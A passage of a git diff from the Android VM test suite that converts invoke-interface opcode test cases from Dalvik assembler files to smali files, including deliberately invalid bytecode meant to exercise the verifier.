+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-interface {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_2.d
deleted file mode 100644
index 9c5e86d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_2.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
-.limit regs 8
-
-       invoke-interface {v6, v7}, java/lang/Comparable/compareTo(Ljava/lang/Object;)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_2.smali
new file mode 100644
index 0000000..9b968ae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_2.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface {v6, v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_20.d
deleted file mode 100644
index c2465e7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_20.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_20.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_20
-.super java/lang/Object
-
-.field public static i I
-
-.method static <clinit>()V
-.limit regs 2
-Label0:
-       const/4 v1, 0
-       sput v1, dot.junit.opcodes.invoke_interface.d.T_invoke_interface_20.i I
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
-.limit regs 5
-
-       invoke-interface {v3}, dot/junit/opcodes/invoke_interface/d/T_invoke_interface_20/<clinit>()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_20.smali
new file mode 100644
index 0000000..0b15bbe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_20.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_20.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_20;
+.super  Ljava/lang/Object;
+
+.field public static i:I
+
+.method static constructor <clinit>()V
+.registers 2
+:Label0
+       const/4 v1, 0
+       sput v1, Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_20;->i:I
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
+.registers 5
+
+       invoke-interface {v3}, Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_20;-><clinit>()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_21.d
deleted file mode 100644
index f8b0dea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_21.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_21
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
-.limit regs 9
-
-    const-wide v4, 64
-    invoke-interface {v8, v4, v5}, dot/junit/opcodes/invoke_interface/ITest/testArgsOrder(II)I
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_21.smali
new file mode 100644
index 0000000..54fc896
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_21.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
+.registers 9
+
+    const-wide v4, 64
+    invoke-interface {v8, v4, v5}, Ldot/junit/opcodes/invoke_interface/ITest;->testArgsOrder(II)I
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_22.d
deleted file mode 100644
index 7c27ad2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_22.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_22.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_22
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 8
-
-       new-instance v0, dot/junit/opcodes/invoke_interface/ITestImpl
-
-       invoke-interface {v0}, dot/junit/opcodes/invoke_interface/ITest/doit()V
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_22.smali
new file mode 100644
index 0000000..d37aa30
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_22.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_22.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_22;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 8
+
+       new-instance v0, Ldot/junit/opcodes/invoke_interface/ITestImpl;
+
+       invoke-interface {v0}, Ldot/junit/opcodes/invoke_interface/ITest;->doit()V
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.d
deleted file mode 100644
index 6709286..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.d
+++ /dev/null
@@ -1,49 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source ITestDefault2.java
-.interface public dot.junit.opcodes.invoke_interface.d.ITestDefault2
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestDefault.java
-.interface public dot.junit.opcodes.invoke_interface.d.ITestDefault
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source T_invoke_interface_23.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_23
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_interface.d.ITestDefault
-.implements dot.junit.opcodes.invoke_interface.d.ITestDefault2
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-interface {v0}, dot/junit/opcodes/invoke_interface/d/ITestDefault/testDefault()V
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.smalis/ITestDefault.smali
new file mode 100644
index 0000000..dd62766
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..9b63985
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.smalis/T_invoke_interface_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.smalis/T_invoke_interface_23.smali
new file mode 100644
index 0000000..4ab9ff9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_23.smalis/T_invoke_interface_23.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_23;
+.super Ljava/lang/Object;
+.source "T_invoke_interface_23.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_interface/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_interface/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-interface {p0}, Ldot/junit/opcodes/invoke_interface/d/ITestDefault;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.d
deleted file mode 100644
index 577510a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.d
+++ /dev/null
@@ -1,58 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source ITestDefault2.java
-.interface public dot.junit.opcodes.invoke_interface.d.ITestDefault2
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestDefault.java
-.interface public dot.junit.opcodes.invoke_interface.d.ITestDefault
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestNonDefault.java
-.interface public dot.junit.opcodes.invoke_interface.d.ITestNonDefault
-.implements dot.junit.opcodes.invoke_interface.d.ITestDefault
-.implements dot.junit.opcodes.invoke_interface.d.ITestDefault2
-
-.method public abstract testDefault()V
-.end method
-
-
-.source T_invoke_interface_24.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_24
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_interface.d.ITestNonDefault
-.implements dot.junit.opcodes.invoke_interface.d.ITestDefault2
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-interface {v0}, dot/junit/opcodes/invoke_interface/d/ITestDefault2/testDefault()V
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/ITestDefault.smali
new file mode 100644
index 0000000..dd62766
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..9b63985
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/ITestNonDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/ITestNonDefault.smali
new file mode 100644
index 0000000..ed9a316
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/ITestNonDefault.smali
@@ -0,0 +1,26 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface/d/ITestNonDefault;
+.super Ljava/lang/Object;
+.source "ITestNonDefault.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_interface/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_interface/d/ITestDefault2;
+
+
+# virtual methods
+.method public abstract testDefault()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/T_invoke_interface_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/T_invoke_interface_24.smali
new file mode 100644
index 0000000..895a1d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_24.smalis/T_invoke_interface_24.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_24;
+.super Ljava/lang/Object;
+.source "T_invoke_interface_24.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_interface/d/ITestNonDefault;
+.implements Ldot/junit/opcodes/invoke_interface/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-interface {p0}, Ldot/junit/opcodes/invoke_interface/d/ITestDefault2;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_25.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_25.d
deleted file mode 100644
index 19b57b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_25.d
+++ /dev/null
@@ -1,40 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source ITestDefault.java
-.interface public dot.junit.opcodes.invoke_interface.d.ITestDefault
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source T_invoke_interface_25.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_25
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_interface.d.ITestDefault
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-interface {v0}, dot/junit/opcodes/invoke_interface/d/ITestDefault/testDefault()V
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_25.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_25.smalis/ITestDefault.smali
new file mode 100644
index 0000000..dd62766
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_25.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_25.smalis/T_invoke_interface_25.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_25.smalis/T_invoke_interface_25.smali
new file mode 100644
index 0000000..4575f23
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_25.smalis/T_invoke_interface_25.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_25;
+.super Ljava/lang/Object;
+.source "T_invoke_interface_25.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_interface/d/ITestDefault;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-interface {p0}, Ldot/junit/opcodes/invoke_interface/d/ITestDefault;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_3.d
deleted file mode 100644
index 44251bf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_3.d
+++ /dev/null
@@ -1,30 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_3.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_3
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-       const/4 v1, 0
-       invoke-interface {v1}, dot/junit/opcodes/invoke_interface/ITest/doit()V
-       return-void
-.end method
\ No newline at end of file
